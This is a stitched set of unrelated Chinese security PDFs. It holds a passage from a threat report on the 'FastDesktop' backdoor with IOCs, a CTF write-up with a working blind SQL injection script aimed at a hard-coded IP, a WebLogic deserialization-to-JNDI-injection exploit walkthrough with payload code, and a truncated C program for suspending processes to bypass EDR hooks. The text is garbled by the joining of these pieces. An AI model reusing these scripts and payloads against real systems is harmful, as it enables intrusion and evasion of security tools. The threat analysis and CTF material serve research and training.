建立 RDP 连接。通过客户端数据包提取字段 addr,以此获得 IP 地址建立特定的会话连接,默认端
口:5600。
北京瑞星网安技术股份有限公司
26
图:建立特定于 IP 的远程连接
存储程序运行数据到注册表特定位置:
HKLM\SOFTWARE\Hex
HKLM\SOFTWARE\Node
HKLM\SOFTWARE\Group
v1、v2 版本对比
v1 版样本基本信息
文件名
loader.exe
MD5
227EFE3041F806EA9E9F713EC8B9A544
文件大小
321.0 KB
文件类型
EXE
病毒名
Backdoor.FastDesktop!1.DD3D
图:loader.exe 文件基本信息
文件名
loader.core.dll
MD5
7270BFFFA2954083106FBFDF35578AF0
文件大小
76.0 KB
文件类型
DLL
病毒名
Backdoor.FastDesktop!1.DCA3
图:loader.core.dll 文件基本信息
文件名
CL.Install.dll
MD5
D00EBC9E5F0096268D41AF377C1FA12D
文件大小
25.5 KB
文件类型
.NET DLL
病毒名
Backdoor.FastDesktop!1.DD3E
图:CL.Install.dll 文件基本信息
文件名
libexpat.dll
MD5
5B80760306A6252E7C5CED6D6508C906
文件大小
79.5 KB
文件类型
DLL
病毒名
Backdoor.FastDesktop!1.DCA2
图:libexpat.dll 文件基本信息
文件名
CL.loader.dll
MD5
1BAC64E285C68543563731DF5F5AA1E2
北京瑞星网安技术股份有限公司
27
文件大小
16.0 KB
文件类型
.NET DLL
病毒名
Backdoor.FastDesktop!1.DD3F
图:CL.loader.dll 文件基本信息
文件名
core.dll
MD5
6A498D8CC6472B53E9A4151E23968D2F
文件大小
131.0 KB
文件类型
.NET DLL
病毒名
Backdoor.FastDesktop!1.DD41
图:core.dll 文件基本信息
两版本的部分差异
前期阶段
v1 版攻击流程中对于初始样本的依赖性更高,初始样本 loader.exe 不仅负责启动攻击,同时还需
要为后续的 loader.core.dll 和 CL.Install.dll 提供相关函数或资源数据。
loader.exe 主要功能为下载 loader.core.dll,然后将此文件加载到内存中执行,从而启动攻击。
但同时 loader.core.dll 在执行下载时同样需要调用 loader.exe 提供的自定义下载函数。
图:loader.exe 中自定义下载函数
loader.core.dll 负责下载。但该样本自身并没有下载函数,而是从加载自身的进程文件中获取的下
载函数。如果加载失败,则程序结束运行,从而攻击终止。
北京瑞星网安技术股份有限公司
28
图:loader.core.dll 获取 loader.exe 的下载函数
CL.install.dll 是由 loader.core.dll 下载并调用执行的。该文件为.NET 程序,其功能与 v2 版中
的 setup.core.dll 相似,负责安装服务、下载恶意载荷,然后使用 svchost.exe 执行 DLL 劫持技
术,从而加载执行恶意载荷。但不同的是,该样本在执行恶意功能之前需要先从执行程序中读取资
源数据(远控配置信息),如果读取失败则弹框提示错误并退出程序。
图:loader.exe 资源
图:CL.install.dll 搜索资源字符串
图:错误弹框提示
由上面的分析可知 v1 版和 v2 版在前期几个模块之间的差异主要集中在模块之间的依赖度,相比于
v1 版,v2 版本中前期的几个模块样本之间的耦合低,从而使攻击者可以更加方便快捷的针对各个模
块进行单独更新,此处是本报告中 v2 被判定为 v1 升级版的原因之一。
北京瑞星网安技术股份有限公司
29
下载方式
v1 版中的模块 CL.install.dll 和 v2 版中的 setup.core.dll 功能相似,但是下载恶意载荷的方式
不同。setup.core.dll 是同一个地址中读取压缩包的数据到内存,然后在内存中解压并分别释放到
本地。而 CL.install.dll 则是从两个下载地址分别下载不同的文件,逐个解压释放出最终的恶意载
荷。
白名单样本及相关库文件的下载地址为:http[:]//asbit[.]cn/~/下载文件名,此处通过一个循环
逐个下载。
图:下载的白名单文件
下载站点中除了本次攻击中所需的文件,还包括其他文件,有些是后续攻击中需要用到的文件,而
有些则没有找到有什么用处,需要持续追踪。
图:样本下载站点
北京瑞星网安技术股份有限公司
30
图:恶意载荷 libexpat.dll 下载代码
上图中恶意载荷 libexpat.dll 的下载链接与 v2 版相同,同为使用阿里云公共 DNS 服务支持的 DoH
协议解析本地域名。但是这种方式在 v1 版的攻击流程中只有此处用到了,其他模块中需要的下载链
接依然是采用硬编码方式。而 v2 版本中所有的下载链接都是采用这种方式,此处是本报告中 v2 版
被判定为 v1 升级版的原因之一。
比如在模块 CL.loader.dll 中,下载链接就是使用了硬编码方式。
图:模块 CL.loader.dll 中下载链接
下载服务器数据更新
模块程序 libexpat.dll 在 v1 版和 v2 版中使用到的下载链接格式是相同的,都是由三部分组成,格
式为:
http[:]//mitm[.]work/%s/%s
http[:]//fmt[.]ink/%s/%s
链接中的第二和第三部分字符串获取的方式是不同的,代码区别如下图:
图:URL 字段获取方式
由上图可知 v1 版本是直接获取字符串的 CRC32 校验值,而 v2 版则是使用了自定义的异或计算获取。
同时,在更进一步的分析过程中发现,使用 v1 版中获取的下载链接去执行下载操作时,下载的文件
不是 CL.loader.dll,而是与 v2 版中功能基本相同的 system.dll,可见攻击者更新了下载服务器的
数据。虽然已经无法下载,但是根据从数据库中的关联分析,依然找到了最初的恶意载荷
CL.loader.dll。
北京瑞星网安技术股份有限公司
31
图:CL.loader.dll 关联到的下载链接
上图是从数据库中关联分析后得到的数据,可知攻击者发动的攻击行动最早从 21 年 9 月就已经开始
了。图中的下载链接在完成本报告的时候,下载的样本已经被攻击者更新为 system.dll,不排除未
来攻击者会继续更新下载的恶意载荷。
样本使用的免杀技术
不断变化的文件 Hash
以 v2 版本为例,在攻击链条中的 setup.core.dll 阶段,通过查询后台数据我们找到了大量同类文
件,而通过文件十六进制的差异化比较发现该样本在特殊位置存放一个类似 hash 值的数据,每个样
本在此处产生 32 个字节不同的数据变化。
图:十六进制文件对比
这一处变化在样本的 rdata 段以字符串形式存储。
图:数据变化具体位置
该字符串作为 CreateMutexA 参数中的互斥体名称来使用。
北京瑞星网安技术股份有限公司
32
图:相关函数对字符串的使用
样本作者完全可以利用该字符串,在不影响程序功能的情况下快速生成大量不同 Hash 值的文件。
而在.NET 编写的 system.dll 中,该模块用了相似的手法,下图为文件对比。
图:十六进制文件对比
该样本在其中的一个类成员中存放一个类 GUID 的字符串, 所有样本同样可以通过修改这个成员的
值来快速改变样本文件 Hash 值。
图:代码所在位置
无文件攻击
该后门的部分模块使用了无文件攻击技术以此规避防御。后门程序中通过请求服务端下发的数据,
执行 CompileAssemblyFromSource 并在参数中设置 GenerateInMemory 为 True,用以直接在内存中
生成编译 DLL, 调用其方法执行其他恶意文件。
北京瑞星网安技术股份有限公司
33
图:动态编译文件并在内存中执行
在 loader.core.dll 模块中, 通过 DownloadData 函数从远程地址下载数据串, 此处为了规避流量
检测,下载的数据串为 PE 文件的反序字符串。当下载的数据读取到本地内存后,经过字符串反序操
作,最终的恶意载荷在内存中就被直接调用执行了,没有文件落地,而这种无文件落地的实现方式
在该后门内多次被使用。
图:下载并调用执行下阶段模块样本
DLL 劫持
DLL 劫持的原理来自于系统的 DLL 加载机制。当一个可执行文件运行时,Windows 加载器将可执行模
块映射到当前进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的 DLL,并
将它们映射到当前进程的地址空间中。
攻击者利用了此特点,v2 版本内 setup.core.dll 从远程服务器下载的样本是一个压缩包,该压缩
包中的文件有:
图:下载的文件列表
北京瑞星网安技术股份有限公司
34
其中 fdsvc.dll 样本为白名单文件,该样本的导入表中包含了另一个下载的样本 libexpat.dll,而
该样本即为攻击事件中使用到的恶意样本,
图:fdsvc.dll 导入表信息
攻击者通过调用 svchost.exe 启动服务时,调用了该服务指向的库文件 fdsvc.dll,而 fdsvc.dll
文件被加载到内存后,Windows 加载器会根据文件的导入表在本地搜索相关 DLL,并将搜索到的文件
自动加载到内存中。下图为白名单样本 fdsvc.dll 导入表中,使用到的恶意样本的函数。
图:fdsvc.dll 导入恶意样本的函数列表
当白名单样本调用恶意样本的导出函数时,则执行恶意样本的入口函数,进而实现 DLL 劫持。其中
恶意样本的导出函数代码都是相同的,无实际意义,代码如下:
北京瑞星网安技术股份有限公司
35
图:libexpat.dll 导出函数代码
扩展分析
在前面的样本分析中,根据程序执行中的消息弹框和代码中的相关字符串我们将该后门命名为
"FastDesktop",同时我们可以在瑞星威胁情报中心查询到攻击者使用的其中一个域名的 Whois 信
息,如下图:
北京瑞星网安技术股份有限公司
36
图:域名解析信息
打开该站点后,显示了登陆界面,如下图:
图:登陆界面
北京瑞星网安技术股份有限公司
37
经过注册并登陆后,其管理界面如下图,登陆成功后即显示账户已经过期,需要用户进行续费。界
面中的主要功能包括售前/售后、账户充值及管理端下载等功能。
图:登陆后的管理界面
创建客户端时允许配置多个选项,其中的“安装提示”我们推测会影响到初始样本执行完成后是否
进行弹窗。
图:创建客户端
售前/售后人员微信的二维码。
北京瑞星网安技术股份有限公司
38
图:微信二维码
存放管理端的站点截图如下,其最新的修改时间为 2022 年 4 月 14 日。
图:存放管理端的站点
管理端下载到本地运行,登录账户时提示用户需要续费。
北京瑞星网安技术股份有限公司
39
图:登陆管理端界面
由上述分析,我们推测该后门为个人或组织出售的黑产工具。而通过上述管理端文件被修改的时间,
可见整套黑产工具在本报告发布之前,依然十分活跃。
关于.NET 机器学习引擎
近年来,采用.NET 编写的恶意软件数量呈现逐年递增的趋势,根据瑞星安全研究院的恶意软件样本
库统计,每年呈 20%~30%的递增趋势。
图:近年来瑞星捕获到的.NET 恶意程序文件数量
.NET 被越来越多地用于开发恶意软件,很重要的原因在于.NET 程序具备几项天然的反传统检测能
北京瑞星网安技术股份有限公司
40
力:
⚫
.NET 程序文件虽然是 Windows PE 格式,但 Windows PE 仅仅用作文件包装,天然地躲避了传统
的针对 PE 结构分析的检测方式。例如,在瑞星针对普通 PE 文件设计的机器学习引擎中,针对
PE 结构及相关数据提取了大量的特征点,但这些特征点对于.NET 程序来说都是无效的。
⚫
.NET 程序使用 MSIL 指令集,对基于 CPU 指令分析、模拟(虚拟)执行技术的检测方式具备天然
的对抗能力。尤其是对于模拟(虚拟)执行技术来说,.NET 程序被有效执行的复杂度远高于基于
CPU 指令集的程序文件(PE/ELF),目前没有一个厂商声称将.NET 程序的模拟执行应用于恶意软
件检测。瑞星在该方向上投入一年的研发成本后,考虑到过高的工程复杂度以及不理想地性能,
终止了相应的研发过程。
⚫
.NET 程序天然支持程序集动态加载、非托管内存操作,使其可以非常方便地实现代码保护、代
码包装。网上有大量的成熟混淆的解决方案可用(也不乏一些优秀的开源解决方案,如
ConfuserEx),大多数.NET 恶意程序都使用混淆器对自身代码进行保护,来躲避传统的特征码检
测。
鉴于数量不断增长的趋势,瑞星近年来在.NET 恶意软件检测能力上完成了两项重要更新:
⚫
改进传统特征码检测技术。通过反编译将.NET 程序转换为具备良好可读性的结构化文本代码,
我们称之为“.NET 程序主干”。结合智能特征码,可综合.NET 程序主干中的函数调用流、数据
引用流、特殊指令流来表达高抽象度的恶意代码特征,规避了二进制特征码极易被绕过的缺点,
但是该方案依赖人工分析和处理,对新增.NET 恶意软件的响应速度并不理想,日处理量上限也
非常有限。
⚫
研发基于机器学习的.NET 程序文件判定引擎。针对大量的.NET 恶意软件特点的分析和总结,
为.NET 程序文件设计了一套适用于通用检测和混淆检测的向量化方案,将.NET 程序文件转换为
1627 维的特征向量。特征点囊括了潜在的隐写、动态加载、动态编译、压缩解压缩、编码解码、
加密解密、网络下载等多方面的代码意图。同时,瑞星维护了两个训练样本集,一个样本集用
于训练通用检测模型,另一个样本集专门用于训练混淆检测模型,以获得更好的检测效果。目
前训练获得的模型大小约为 4M,可脱离互联网分发至端点进行检测,提升本地反病毒引擎的能
力。
由此,瑞星在.NET 恶意软件检测能力获得了较大的提升,在缓解人工分析处理压力的同时,也很好
地获得了对未知.NET 恶意软件的“预判”的能力,如本报告提及的"FastDesktop"的 system.dll,
在 VirusTotal 今年 3 月的首次检测报告,仅瑞星一家国内厂商将其判定为“恶意”,同样使用机器
学习技术的 Cynet、SentinelOne 也做出了正确的判断,而大多数依靠“捕获-响应”、基于特征或哈
希的传统厂商以及偏向性使用机器学习的新兴厂商(例如: CrowdStrike),都没能在第一时间做出
正确的判定。
为适应恶意软件本身不断地发展以及同安全厂商地不断对抗,全面地使用机器学习检测恶意代码,
是瑞星近年来一个主要技术发展方向。从 2015 年开始,按照“一类一学”的理念,逐步丰富机器学
习在恶意代码检测上的应用,目前已经成熟应用的技术有:
⚫
基于聚类算法的恶意 PE 文件判定技术
⚫
基于分类算法的恶意 PE 文件判定技术
⚫
基于分类算法的恶意 PDF 文件判定技术
⚫
基于分类算法的恶意 Flash 文件判定技术
⚫
基于分类算法的恶意 VBA 宏判定技术
⚫
基于分类算法的恶意.NET 程序判定技术
北京瑞星网安技术股份有限公司
41
⚫
基于分类算法的恶意 EXCEL 公式判定技术
IOC
Domain
fmt[.]ink
frd[.]ink
asbit[.]cn
mitm[.]work
MD5
v1
227EFE3041F806EA9E9F713EC8B9A544
7270BFFFA2954083106FBFDF35578AF0
D00EBC9E5F0096268D41AF377C1FA12D
5B80760306A6252E7C5CED6D6508C906
1BAC64E285C68543563731DF5F5AA1E2
6A498D8CC6472B53E9A4151E23968D2F
v2
BBBC3919B71F50FBF6939088B7B7FD9E
DA0A5953C6EE6AE87022BA39FC4D8C74
7CF6325A5213738148F7315044CCAF98
B2675490E5906EFDC8B43EBBDDDA95F3
AA3045BE0C28C50BAF8F024386C650AA
E33A299C1FE0B0717923BBC2EACBA5E6
北京瑞星网安技术股份有限公司
42 | pdf |
Pwnhub Fantastic Key WP
:
index.php
config.php
<?php
error_reporting(0);
include 'config.php';
$id=$_POST['i']?waf($_POST['i']):rand(1,8);
$v=$_POST['v']?waf($_POST['v']):'anime';
$sql="desc `acg_{$v}`";
if (!$conn->query($sql)){
die('no such table');
}
$sql = "SELECT * FROM acg_{$v} where id = '$id'";
$result=$conn->query($sql);
if (!$result){
die('error');
}
foreach ($result as $row) {
print "<!-- $row[0] --> \t";
print "$row[1]<br><img src='img/$row[1].jpg' style='width:600px;'>
<br>";
}
?>
<?php
$con = "mysql:host=localhost;port=3306;dbname=acg";
$conn = new PDO($con, 'user', 'user');
$conn->query('set names utf8');
function waf($s)
{
if (preg_match("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-
|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i",$s)!=false||strlen($
s)>10000)
die();
return $s;
}
?>
payload:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>key</title>
</head>
<body>
<form action='index.php' method='POST'>
<select name='v'>
<option value ="anime">anime</option>
<option value ="character">character</option><br>
</select>
<input type='text' name='i' placeholder='id'>
<input type='submit' value='query'>
</form>
</body>
</html>
#!/usr/bin/python
# coding=utf-8
import requests
import os
import time
import binascii
def str_to_hexStr(string):
str_bin = string.encode('utf-8')
return binascii.hexlify(str_bin).decode('utf-8')
url='http://139.217.112.201/index.php'
dic='0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWX
YZ._@{}'
table_name=''
for i in range(1,200):
for j in dic:
sqli_1="select if((select(substr(flag,
{},1))from(`acg_fff5lll1ll@g`)limit 1)='{}',sleep(3),1)".format(i,j)
hexaa=str_to_hexStr(sqli_1)
time1 = time.time()
data_1="v=anime`%0a`%0awhere%09@x:=0x"+hexaa+";prepare%0ast%0dfrom%0d@x;%0
aexecute%0ast;&i="
headers = {"Content-Type": "application/x-www-form-urlencoded"}
requests.post(url=url,headers=headers,data=data_1)
sec = time.time() - time1
if sec > 1:
table_name += j
print table_name
break
print table_name | pdf |
1
CVE-OLOO-ONPSL
反序列化利⽤链,JNDI注⼊
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
测试版本12.2.1.4.0
之前有师傅的⽂章已经分析过了,给出调⽤堆栈
漏洞介绍
漏洞评级
影响范围
安全版本
漏洞分析
12.2.1.4.0
2
从这⾥调⽤链能看出,他基本都是JDK或weblogic⼀个包的,没有像2555/2883那样还需要依赖
coherence,能⼤⼤提⾼不同版本的利⽤兼容性。
⽬前测试下来12.1.3/12.2.1.3/12.2.1.4⽤⼀个包就能打
这⾥记录下⾃⼰的调试记录吧,⽅便后续查阅
⼊⼝点还是之前的 javax.management.BadAttributeValueExpException.readObject
从val变量⾥取出对象,这⾥变量是 FileSessionData 对象,然后调⽤他的 toString()
Java
复制代码
javax.management.BadAttributeValueExpException.readObject()
weblogic.servlet.internal.session.SessionData.toString()
weblogic.servlet.internal.session.SessionData.isDebuggingSession()
weblogic.servlet.internal.session.SessionData.getAttribute()
weblogic.servlet.internal.session.SessionData.getAttributeInternal()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects
()
weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject()
weblogic.ejb20.internal.HomeHandleImpl.getEJBHome()
javax.naming.Context.lookup()
1
2
3
4
5
6
7
8
9
10
3
FileSessionData 是继承 SessionData ,这⾥的toString没被重写,所以调⽤的是⽗类的,进
⽽调⽤ this.isDebuggingSession()
registry.isProductionMode() 没法在本地反序列化测试,因为⾥⾯涉及到⼀些变量需要
weblogic运⾏时初始化,所以这⾥没法本地调试。
接着会调⽤ this.getAttribute 获取 wl_debug_session
4
这⾥ getSecurityModuleAttribute 返回是null,因为他是 name="weblogic.formauth.tar
geturl" 才有值。所以调⽤ this.getAttributeInternal
this.attributes 是⼀个Map,实现类是ConcurrentHashMap,获取 wl_debug_session 的
value,这⾥是 AttributeWrapper 对象
接着调⽤ AttributeWrapperUtils.unwrapObject 解封装。
5
AttributeWrapper 对象封装的是 BusinessHandlerImpl 类,解封装后,还需要判断 wrappe
r.isEJBObjectWrapped() 是否为true,才能继续调⽤ unwrapEJBObjects
所以需要⼿动 setEJBObjectWrapped(true)
6
unwrapEJBObjects ⾥有四个分⽀,如果是BusinessHandle的实现类,才能调⽤ getBusinessO
bject()
PS: 这个部分,其实BusinessHandle、HomeHandle和Handle三个都能触发,任选其⼀。
this.homeHandle 是 HomeHandleImpl 类,然后调⽤ getEJBHome()
7
最终到了sink点, ctx.lookup ,这⾥有两个变量要设置,this.serverURL和this.jndiName,就是
JNDI请求那⼀套。
这个版本有些不同
在 SessionData.getAttributeInternal ⾥,原本是先调⽤ AttributeWrapperUtils.unw
rapObject ,然后才是判断unwrappedObject属于哪个接⼝,进⾏转换。
10.3.6跳过中间步骤,直接判断。
10.3.6
8
但这⾥多了⼀个 var3 instanceof EJBAttributeWrapper 判断,原来payload⾥是直接⽤
AttributeWrapper
EJBAttributeWrapper 也是 AttributeWrapper 继承类,但注意这个类是私有类,只能通过反
射来实例化。
9
所以该部分注释原来的,调整如下
10
但注意因为SeesionData的不同,会导致suid不同,所以在打不同版本需要调⽤不同版本的jar包,这玩
意⼤得很,要优化就是筛选出有⽤的Class来类加载,回头优化再说吧。
PS: 新版本没有EJBAttributeWrapper类了。
漏洞利⽤的最后阶段,这⾥会发起JNDI请求,⼀般来说我们习惯⽤LDAP或RMI,但这⾥做了限制。
java.naming.provider.url 这个值其实不太影响。
我们利⽤的通常是ctx.lookup指定向我们的ldap/rmi发起请求,但这⾥this.jndiName是Name接⼝,⽽
不是⼀个String。
该⽅法存在重载
JNDI注⼊部分问题
Java
复制代码
Constructor ejbAttributeWrapperC =
Class.forName("weblogic.servlet.internal.session.EJBAttributeWrapper").ge
tDeclaredConstructor(BusinessHandle.class);
ejbAttributeWrapperC.setAccessible(true);
Object ejbAttributeWrapper =
ejbAttributeWrapperC.newInstance(businessHandle);
// AttributeWrapper attributeWrapper = new
AttributeWrapper(businessHandle);
// attributeWrapper.setEJBObjectWrapped(true);
Map map = new ConcurrentHashMap();
map.put("wl_debug_session", ejbAttributeWrapper);
1
2
3
4
5
6
7
8
9
11
那么就有两种思路
1. url设置成我们server,那么后⾯jndiName就不影响了。
2. url任意指定,只要连接server成功,jndiName构造转换成和传⼊String⼀样的效果,也能实现。
第⼀种⽅法
因为weblogic.jndi.WLInitialContextFactory,url的scheme在weblogic我们是⽤T3/IIOP。
这⾥注册了其他协议,但实际也只能⽤t3/iiop,所以要有恶意的T3/IIOP server才能利⽤成功,也就是
攻击T3/IIOP client,这⾥⽬前来说没找到有⽤的资料和实现。
12
备注:
13
C
复制代码
getInstance:42, EnvironmentManager (weblogic.jndi.spi)
getContext:353, Environment (weblogic.jndi)
getContext:322, Environment (weblogic.jndi)
getInitialContext:131, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
getEJBHome:66, HomeHandleImpl (weblogic.ejb20.internal)
getBusinessObject:160, BusinessHandleImpl
(weblogic.ejb.container.internal)
unwrapEJBObjects:149, AttributeWrapperUtils
(weblogic.servlet.internal.session)
unwrapObject:122, AttributeWrapperUtils
(weblogic.servlet.internal.session)
getAttributeInternal:568, SessionData (weblogic.servlet.internal.session)
getAttribute:547, SessionData (weblogic.servlet.internal.session)
isDebuggingSession:1525, SessionData (weblogic.servlet.internal.session)
toString:1537, SessionData (weblogic.servlet.internal.session)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
14
所以第⼀种⽅法放弃。
第⼆种⽅法
既然url只能设置成iiop/t3,那就直接指向本地,如iiop://127.0.0.1:7001
⽽this.jndiName就需要构造了
先看了下传⼊String的情况,解析name的协议,根据scheme来获取对应协议context
Java
复制代码
Hashtable p = new Hashtable();
p.put("java.naming.factory.initial",
"weblogic.jndi.WLInitialContextFactory");
p.put("java.naming.provider.url", url);
Context ctx = new InitialContext(p);
this.home =
(EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.jndiName),
EJBHome.class);
1
2
3
4
5
6
15
如ldap,获取到的就是 com.sun.jndi.url.ldap.ldapURLContext ,然后调⽤
ldapURLContext.lookup
再看下 getURLOrDefaultInitCtx(Name name) ,这⾥多了⼀步从name.get(0)⾥获取url来解
析,后续都⼀样
然后看看ldapURLContext.lookup,重载的⽅法基本没区别,也是get(0)
这⾥注意url⾥不要有 ? ,否则会抛异常
16
⽗类的lookup,传⼊Name接⼝的,只要解析⻓度为1,进⽽会调⽤String的lookup,后⾯流程就⼀样
了。
17
所以现在只需要有⼀个Name的实现类,解析我们构造的字符串后,解析⻓度为1,get(0) =>
"ldap://x.x.x.x:1389/xxx"即可
如下实现类均在JDK⾥
经过测试
18
DnsName: 以 . 分割字符串,传⼊www.baidu.com会变为["www","baidu", "com"],不可⽤
LdapName:会以 , 分割,并判断是否有 = ,能正常解析的格式是dc=example,dc=com,不可⽤
CompositeName: 会以 / 分割,所以传⼊ldap://x.x.x.x,会被分割成["ldap","","x.x.x.x"],不可⽤
CompoundName: 这个和CompositeName相似,但分割符可以⾃定义,那么就可以找个特殊符号,就
不会被分割了。
⽹上的⼀个例⼦,这样就会以@分割, 其他属性可参考 javax.naming.NameImpl.recordNaming
Convention()
当然,如果不设置属性,就默认为null,不做解析
Java
复制代码
// need properties for CompoundName
Properties props = new Properties();
props.put("jndi.syntax.separator", "@");
props.put("jndi.syntax.direction", "left_to_right");
// create compound name object
CompoundName CompoundName1 = new CompoundName("x@y@z@M@n", props);
1
2
3
4
5
6
7
19
20
所以对应payload修改如下,serverURL就指向server本地,让连接正常通过即可,jndiName就通过
CompoundName构造。
其他注意事项
Java
复制代码
Properties props = new Properties();
Name name = new CompoundName("ldap://127.0.0.1:1389",props);
this.getURLOrDefaultInitCtx(name).lookup(name);
1
2
3 | pdf |
Windows
pass edrhook
1. -
2. NtSuspendProcess
3. NtQuerySystemInform
4. ObjectTypeIndex ObjectTypeIndex
5. NtQueryInformation
6. DUPLICATE_CLOSE_SOURCE
7. 1
8. NtResumeProcess
//
if (NtSuspendProcess(hProcess) != 0) {
CloseHandle(hProcess);
return 1;
}
// NtSuspendProcess
NtSuspendProcess = (unsigned long (__stdcall *)(void *))
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
if (NtSuspendProcess == NULL) {
return 1;
}
1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <windows.h>
#define SystemExtendedHandleInformation 64
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
1
2
3
4
5
#define FileNameInformation 9
#define PROCESS_SUSPEND_RESUME 0x800
struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
ULONG Object;
ULONG UniqueProcessId;
ULONG HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
};
struct SYSTEM_HANDLE_INFORMATION_EX {
ULONG NumberOfHandles;
ULONG Reserved;
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList[1];
};
struct FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[1];
};
struct IO_STATUS_BLOCK {
union {
DWORD Status;
PVOID Pointer;
};
DWORD *Information;
};
struct GetFileHandlePathThreadParamStruct {
HANDLE hFile;
char szPath[512];
};
DWORD
(WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID
SystemInformation, ULONG SystemInformationLength,
PULONG ReturnLength);
DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock,
PVOID FileInformation, ULONG Length,
DWORD FileInformationClass);
DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
DWORD (WINAPI *NtResumeProcess)(HANDLE Process);
SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;
DWORD dwGlobal_DebugObjectType = 0;
DWORD GetSystemHandleList() {
DWORD dwAllocSize = 0;
DWORD dwStatus = 0;
DWORD dwLength = 0;
BYTE *pSystemHandleInfoBuffer = NULL;
if (pGlobal_SystemHandleInfo != NULL) {
free(pGlobal_SystemHandleInfo);
}
//
dwAllocSize = 0;
for (;;) {
if (pSystemHandleInfoBuffer != NULL) {
//
free(pSystemHandleInfoBuffer);
pSystemHandleInfoBuffer = NULL;
}
if (dwAllocSize != 0) {
//
pSystemHandleInfoBuffer = (BYTE *) malloc(dwAllocSize);
if (pSystemHandleInfoBuffer == NULL) {
return 1;
}
}
dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void
*) pSystemHandleInfoBuffer,
dwAllocSize, &dwLength);
if (dwStatus == 0) {
//
break;
} else if (dwStatus == STATUS_INFO_LENGTH_MISMATCH) {
// , 1kb
dwAllocSize = (dwLength + 1024);
} else {
free(pSystemHandleInfoBuffer);
return 1;
}
}
//
pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX *)
pSystemHandleInfoBuffer;
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
return 0;
}
DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType) {
HANDLE hFile = NULL;
char szPath[512];
DWORD dwFound = 0;
DWORD dwFileHandleObjectType = 0;
// exe
memset(szPath, 0, sizeof(szPath));
if (GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) {
return 1;
}
// exe
hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return 1;
}
//
if (GetSystemHandleList() != 0) {
return 1;
}
CloseHandle(hFile);
//
for (DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++) {
// ID
if (pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId ==
GetCurrentProcessId()) {
//
if (pGlobal_SystemHandleInfo->HandleList[i].HandleValue == (DWORD)
hFile) {
//
dwFileHandleObjectType = pGlobal_SystemHandleInfo-
>HandleList[i].ObjectTypeIndex;
dwFound = 1;
break;
}
}
}
//
if (dwFound == 0) {
return 1;
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
}
//
*pdwFileHandleObjectType = dwFileHandleObjectType;
return 0;
}
DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg) {
BYTE bFileInfoBuffer[2048];
IO_STATUS_BLOCK IoStatusBlock;
